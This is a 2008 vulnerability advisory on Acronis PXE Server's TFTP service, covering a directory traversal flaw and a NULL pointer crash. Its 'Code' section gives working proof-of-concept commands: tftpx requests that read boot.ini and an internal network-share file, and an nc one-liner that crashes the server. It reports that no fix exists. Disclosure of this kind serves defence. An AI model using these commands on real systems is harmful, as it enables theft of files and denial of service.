Directory traversal and NULL pointer in Acronis PXE Server 2.0.0.1076
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Luigi Auriemma
Application: Acronis PXE Server
http://www.acronis.com/enterprise/products/snapdeploy/
Versions: <= 2.0.0.1076
Platforms: Windows
Bugs: A] directory traversal
B] NULL pointer
Exploitation: remote
Date: 08 Mar 2008
Author: Luigi Auriemma
e-mail: aluigi@xxxxxxxxxxxxx
web: aluigi.org
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1) Introduction
2) Bugs
3) The Code
4) Fix
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1) Introduction
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The Acronis PXE Server is an essential component of Acronis Snap Deploy
Server, a deployment solution for automatically configuring all the
clients of the local network.
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2) Bugs
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A] directory traversal
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The PXE Server (pxesrv.exe) implements a TFTP server for allowing the
downloading of the bootstrap files (uploading is not allowed).
This service is vulnerable to a classical directory traversal and an
arbitrary path attacks which allow an attacker to download any file
from the local disks or the network shares.
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B] NULL pointer
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An incomplete TFTP request (anything which goes from the simple absence
of the option field to the usage of only the 2 bytes for the opcode)
causes the crashing of the PXE Server due to a NULL pointer access.
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3) The Code
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A]
http://aluigi.org/testz/tftpx.zip
tftpx SERVER ..\../..\../boot.ini none
tftpx SERVER c:\boot.ini none
tftpx SERVER \\internal_host\documents\file.txt none
B]
send the bytes 00 01 to UDP port 69 of the server:
echo -n -e \x00\x01|nc SERVER 69 -v -v -u
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4) Fix
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No fix
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Luigi Auriemma
http://aluigi.org